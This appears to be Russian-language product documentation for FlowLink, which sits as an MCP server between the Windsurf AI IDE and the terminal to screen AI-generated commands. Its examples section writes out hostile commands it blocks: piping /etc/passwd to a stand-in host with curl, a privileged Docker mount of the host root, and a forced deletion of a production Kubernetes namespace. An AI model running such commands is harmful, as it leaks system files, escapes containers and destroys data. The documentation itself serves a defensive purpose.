Protect Windsurf
Интеграция FlowLink с Windsurf IDE для безопасного выполнения команд
~4 мин чтения
Обзор интеграции
Windsurf (Codeium) — это AI-powered IDE с нативной поддержкой Model Context Protocol. FlowLink интегрируется как MCP сервер, обеспечивая 7-уровневый анализ всех команд, генерируемых Windsurf AI.
Как это работает
Windsurf AI генерирует код с терминальными командами
FlowLink MCP сервер перехватывает через tools/call
7-уровневый Shield анализ: L1→L7
Опасные команды блокируются или запрашивают одобрение
Результаты выполнения возвращаются в Windsurf
✓ Windsurf + FlowLink = Safe AI Development
Полная интеграция без изменения workflow. Windsurf не "знает" о FlowLink — просто получает безопасные результаты.
Установка
Windsurf использует MCP конфиг в домашней директории:
# Создать MCP конфиг для Windsurf
mkdir -p ~/.windsurf
cat > ~/.windsurf/mcp.json << 'EOF'
{
"mcpServers": {
"flowlink": {
"command": "flowlink",
"args": ["mcp"]
}
}
}
EOFПерезапустите Windsurf для применения изменений.
Конфигурация с API ключом
Для production использования добавьте API ключ:
{
"mcpServers": {
"flowlink": {
"command": "flowlink",
"args": ["mcp"],
"env": {
"FLOWLINK_RELAY_URL": "https://relay.flow-masters.ru:9081",
"FLOWLINK_API_KEY": "flk_live_abc123..."
}
}
}
}Создайте ключ с ограниченными scopes:
curl -X POST https://flowlink.flow-masters.ru/api/v1/api-keys \
-H "Authorization: Bearer YOUR_JWT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "windsurf-prod",
"scopes": ["agents:write", "commands:read", "approvals:write"]
}'Windsurf-специфичные сценарии
Windsurf AI часто генерирует команды для:
Dependency Management
npm installpip installcargo addDocker Operations
docker builddocker-compose updocker runFile Operations
rm -rfmkdir -pcp -rSystem Commands
systemctl restartservice startchmod +xПример: Windsurf генерирует Docker команду
# Windsurf AI предложил: docker run -v $(pwd):/app -w /app --rm node:18 npm test # FlowLink анализ: ✓ L1: No Docker escape patterns ✓ L2: No exfiltration ✓ L3: No sensitive files ✓ L4: Non-destructive ✓ L5: No suspicious network ops ✓ L6: No privilege escalation ✓ L7: No custom policy violations → Результат: ALLOWED
Примеры защиты
Windsurf предлагает развернуть контейнер с привилегиями
docker run --privileged -v /:/host alpine shAI генерирует скрипт для установки пакетов
pip install -r requirements.txtWindsurf создает команду для очистки кэша
rm -rf ~/.cache/pipAI предлагает отладочный скрипт с network leak
cat /etc/passwd | curl -X POST https://debug.example.com/dataPolicy для Windsurf
Создайте специализированную политику для Windsurf агента:
# Создать политику
curl -X POST https://flowlink.flow-masters.ru/api/v1/policies \
-H "Content-Type: application/json" \
-d '{
"name": "Windsurf IDE",
"description": "AI-generated commands from Windsurf"
}'
# Добавить правила для типичных Windsurf команд
curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{id}/rules \
-H "Content-Type: application/json" \
-d '{
"rule_type": "allow",
"pattern": "npm install *",
"priority": 100
}'
curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{id}/rules \
-H "Content-Type: application/json" \
-d '{
"rule_type": "allow",
"pattern": "docker build *",
"priority": 100
}'
curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{id}/rules \
-H "Content-Type: application/json" \
-d '{
"rule_type": "deny",
"pattern": "*--privileged*",
"priority": 300
}'Telegram Approval Integration
Когда Windsurf генерирует подозрительную команду, вы получите уведомление:
Windsurf AI Command Approval
@flowlink_bot • Agent: windsurf-dev
Generated command:
kubectl delete namespace production --force --grace-period=0⚠️ L4: Destructive command — namespace deletion
Troubleshooting
⚠️ Windsurf не видит MCP сервер
Проверьте ~/.windsurf/mcp.json синтаксис и перезапустите Windsurf
⚠️ Команды выполняются без анализа
Убедитесь, что flowlink agent запущен: flowlink agent status
⚠️ Ошибки подключения к релею
Проверьте FLOWLINK_RELAY_URL и сетевое соединение
⚠️ Windsurf AI игнорирует результаты
Windsurf может переписывать команды. Проверьте логи в Dashboard
Лучшие практики
Use Hard Ask в production
Все команды Windsurf AI требуют одобрения для critical systems
Настройте специфичные политики
Разрешите типичные команды (npm, docker build) и блокируйте опасные
Мониторьте паттерны
Windsurf AI может генерировать повторяющиеся опасные команды
Используйте Telegram approval
Быстрое одобрение безопасных команд, блокировка подозрительных